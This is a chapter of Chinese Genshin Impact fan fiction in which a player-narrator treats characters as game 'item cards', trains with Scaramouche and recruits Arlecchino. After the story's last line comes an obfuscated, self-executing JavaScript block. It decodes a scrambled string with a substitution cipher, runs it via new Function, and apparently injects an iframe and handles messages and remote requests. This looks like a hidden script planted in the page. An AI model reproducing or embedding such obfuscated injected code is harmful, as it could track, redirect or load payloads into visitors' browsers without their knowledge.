你的队友从ban位上下来了,可以正常组队了,一些道具卡123就没用了吗?
怎么可能!
你虽然常常会将道具卡放仓库,但从不会跟任何一个道具卡说再见,除非背包满了。
模拟器妥善了为你解决了这个问题,发掘出了分解和精炼后的第三条路,只要道具卡123都是人就行。
这样只有携带麻烦一个问题。
真是成为主观能动性,败也主观能动性。
就比如现在,队友散兵一回来,队友和道具卡的差距太过明显,你已经明里暗里被点了几次了。
是,他们是没说什么,就是正常的在百忙之中抽出时间给你读轻小说,问你要不要在实验室待着,达达利亚更是锲而不舍的送来打BOSS和开图邀请。
但他们就一点没意识到你现在的时间并不充裕吗?意识不到你准备带着队友练级了吗?
不见得。
要是真的没意识到,那就不要做那么一副刻意得刚刚好让你碰巧看见的失落表情来啊。
「有用吗?」模拟器灵魂质问。
这是有用没用的问题吗?
这都是我队友损失的buff加成啊!
你心痛得无以复加。
人玩养成游戏肝肝肝氪氪氪是为了什么,除了让自己天下无敌外,当然是让自己的队伍也天下无敌。
你肝道具卡目的是为了让自己变强让自己队友变强,现在他们之间出现了兼容性问题,不能同时存在队伍中,这让你怎能不痛心疾首。
散兵没有意识到道具卡的功能,是因为他看不到游戏面板,不知道buff的香,可你看得到。
为了弥补这部分损失,你只能尽可能的利用空闲时间,找潘塔罗涅点自己的模板功能,蹭多托雷的药剂,跟达达利亚开图方便规划最佳路线。
“对他们很头痛?”
散兵不知道你为什么苦恼,但他知道该怎么解决,“对他们其中一个表现出偏心,就解决了。”
“你以前教过我的。”
至冬的太阳永远给人毛茸茸的感受,晒下来不会让人觉得自己在夏天在春天,偏冷的质感,光线落入至冬,是衬托至冬的冻的。
在这样的至冬待久了,散兵会担心一些不必要的事情,比如睡太久会让人偶生锈这件事。
驱动人偶运作的核心在冬日损耗更甚。
你此前兼任过人偶的教导者。
看样子,那段时光在散兵心中依旧鲜活。
「他一刻都不曾忘记。」
那为什么没出CG?
「……」
玩家在令人窒息方面非常令人窒息。
你双手一摊,对着自己曾经的学生说出了一个痛心的事实:“没有平替,要不我们去开璃月或者稻妻的地图吧,地图大了,人才也就多了。”
能够打败道具卡的只有装备限制和其他道具卡。
散兵就带着你拜访了第四席阿蕾奇诺,四席手底下有个壁炉之家,愚人众收养孤儿的地方,里面有特殊技能的人不少。
指望这里能刷出来几个执行官的平替是不可能的,但将就用用缓解一下你的情绪还是可以的。
他们尚未长成,就算有亮眼的技能,等级也不会太高。
总之就是转移注意力。
至于你看中的人,阿蕾奇诺不给你,这种可能性散兵和你都没想过。有价值就意味着会得到更多的宽容,恰好他的同事们都非常务实。
一排排未长成的道具卡站着等待着玩家的选择,你在这方面也是务实的,并不掺杂一点注视人的柔软。
四席阿蕾奇诺这是第一次有充足的时间端详着至冬现下最珍贵的孤品,从外表上看,她同六席无特别明显的差别,现存的最大差距,不过是制造出他们的人并不同一。
六席是稻妻的雷神制作出来的人偶。
她的创造者则并不明确,阿蕾奇诺从自己的同事们语焉不详的字句里,找到的唯一的一句真话便是她属于降临者一列。
世界之外的来客,意外降临提瓦特,在借景之馆中碰到了另一个人偶。
一个很简短的故事。
阿蕾奇诺曾去看过当时的遗迹,时间让当时的一切都散落,没有太多有价值的信息,稻妻居民的生活中有疑似两位人偶的故事,只提及了结果。
结果就是御影炉心那边的魔神残余力量有一段时间彻底无影无踪,直到其他区域的力量被仍旧存在的吸引力再度吸引了过来。
博士尝试修缮过塔伊,在他不明晰塔伊的价值之前,他看到了人偶背着另一具失去活动迹象的人偶向御影炉心走近。
而那具人偶在牵引着周围的魔神力量,就算过去了一段岁月,那种引力仍旧存在于此处。
更多的,因为她醒了展现了自己的价值,在六席指定了照料她的人选下,阿蕾奇诺得不到更多信息。
只是今日一见,确实是非人,与人并不同的物种,而六席——
阿蕾奇诺那双奇特的眼睛目光移开一瞬,瞥见正在阴影处抱臂看人的六席,是个好学生。
就起比起他的老师,他心太软了。
你仔仔细细挑选着道具卡,最后从这堆道具卡里勉强挑出来几个能用的,交给散兵,让他去和阿蕾奇诺进行交涉。
这种事,你是能丢就丢。
四席阿蕾奇诺没有忽视你的存在,在交涉结束后这位执行官向你点头示意:“塔伊没有看到更合心意的吗?”
你说没有,顺便盯上了这位执行官:“阿蕾奇诺女士,你有兴趣加入这次行动吗?”
“我的荣幸。”
兼容性问题解决了。
看样子还是开地图刷特殊NPC更适合你。
阿蕾奇诺这位性格很不错的执行官没有问你们的行动为什么需要拿魔物和秘境练手,她只在必要的时候出声。
一次行动过后,你们就建立起了坚不可摧的刷本情谊。
「坚不可摧,指听到队友要去稻妻,立马转战稻妻。」
你没有忘记你挑好的几个道具卡,但也只限于没有忘记你的道具卡。
你们两个一个不在意自己执行官的身份,一个没在意自己动一下就会让至冬连轴转几天。
散兵接到了任务,想到了你说过的话,就来问你要不要去稻妻。你听到了然后就过来了。听起来非常简单,但潘塔罗涅掩饰不住的疲惫和多托雷差点被他自己掏空的实验室,已经足够说明事情的严重性。
倘若你这边退一步,至冬那边就会进一步,让这次任务成为超规格任务,而不是只来了三个执行官,其余执行官线上指导,二十四小时连线。
这待遇可谓是奢侈。
但你理直气壮。
天下无敌的我就应该有这种排场。
「是,所以天下无敌的你能好个色吗?」
嗯,怎么不算呢。
你身边全是帅哥美女,怎么不算好色呢?
「那你倒是碰啊,看见你边上那个双标的毒舌美少年没有,上去,亲一个。」
谁?毒舌?
你的好队友怎么是个毒舌?
那叫毒舌吗?那是不为人知的真诚。
你刚来稻妻就试图向模拟器证明你的队友在营业状态只是有话直说,根本不是毒舌。
“呵,蠢货。”
你:这是事实。
“这么简单的事都做不好?”
你:你看,他不毒舌。
至于下手狠辣,对敌人说“别误会,你还不值得我特意来一趟,只是挡我路了而已”,你扪心自问,要是放垃圾话能够有效打击敌人的信心,他们的族谱在开战前都得被你撕了。
赢嘛,不寒碜。
所以这叫什么垃圾话,你就差手把手教散兵如何正确的放垃圾话了,蔑视才哪到哪,从身体到精神全方位打击才算真的垃圾话。
散兵:……
散兵:“我记得了。”
散兵是至冬愚人众执行官第六席,性子无论如何都与你心中所想的“人*妻”搭不上边的。
要真是如此,你们两个也不会全须全尾的到至冬,散兵还保住了你被修复的可能性,而不是被拆解,或者经受更多的破坏性实验。
但倾奇者自始至终都是纯白的人偶。
在你眼中。
你们这些年,好像从借景之馆走出来后经历了一堆糟心事,又好像还停留在借景之馆的时光里,不过是在讲某一个冒险故事。
在这个故事里,你们看起来是个行事有些章法的人了。
还是不强求人偶们必须要符合扮演角色的人设的故事。这点从你们之间的称谓,和相处方式可以看得见。
信任这件事可以直观的看见,坦诚也是。
你私底下还是称呼他为倾奇者。
他并不向你隐瞒一些血腥的事,像是六席的正常工作,和其他同事所做的事。
也不会在一些小事情上隐瞒你。
他承认自己说话刻薄,喜欢戳人痛处,又说他原本是想着收敛一些,免得你无法接受,与他起了隔阂。
“这世界上现在不只有我们两个。”
其实一直不止。
只是借景之馆太过安静,区域太小,两个人偶待的时间太长,其中一个便以为这就是世界。
直到有人打开了借景之馆。
两个人变成了很多人。
而这很多人的世界,不欢迎两个人偶。
你从你队友的眼中敏锐的意识到了什么,当机立断的说出了:“一直只有两个人。”
“稻妻的雷电将军是个人偶。”
这什么跟什么。
人偶跟你的队友有可比性吗?
雷电将军又不是你的绑定队友,你只能将人当做道具卡。
“那跟我有什么关系,还是你想要将她做成心脏,那样的话,我想想办法。”
你思考了一会,“倾奇者,你介不介意当个雷神?”
“免了,执行官的任务就足够多了。何况,稻妻对雷电影的信仰一时半会动摇不了。”
散兵离你更近了一些,“你是想着将他们全部解决了?”
“不能吗?”
你对没有见过,未来还注定会红名的敌人要手软什么?口嗨说人是自己老婆打起来一边斯哈斯哈一边冷酷无情的上最强阵容只为快速解决对方的玩家,难道不是比比皆是吗?
“我不够强。”
现在这个屋子与借景之馆没有任何区别,愚人众执行官第六席伏在你的膝上,一如往昔。
“我也并不渴望拥有一颗心脏,那种东西,无用。”
你的胸腔里也没有心脏,所有人类的生理活动都可以模拟,然而打开胸腔,里面确是同他一样的空空如也。
你们不会有材质、形态以及人格上的其他异同。
你摸了摸散兵紫色的头发。
“确实,你的练级速度上不去。”
简直令人焦心。
你是个吞摩拉的无底洞也就算了,散兵受限于人偶的材质,现在也强的有限。
他笑了一下,带着讽意,对自己:“这具人偶的身躯快要抵达它的上限了。”
“这算什么问题,可以突破啊。”散兵离满级还早着呢,你当然可以信誓旦旦的告知自己的队友,他还可以更强。
而且就算满级了你不信模拟器卡不出来bug,这算什么问题?
为了鞭策自己的队友,让他正视自身的潜力,最重要的是,可以一天除了吃饭睡觉都在练级,你斟酌了一下字句:
“你是我的唯一选择(绑定队友),为了让你能够长长久久的陪伴我(不被仓管),我会一直鞭策你变强,希望你有个心理准备(保持一个好心情高效率练级)。”
懂不懂说话的艺术,你敢说散兵现在对练级一定充满了希望。
「确实,都出CG了。」
???
不是,那你带着队友大杀四方的未来呢?那你脑中的练级计划怎么办?
「但是出CG了。」
瞳孔地震。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();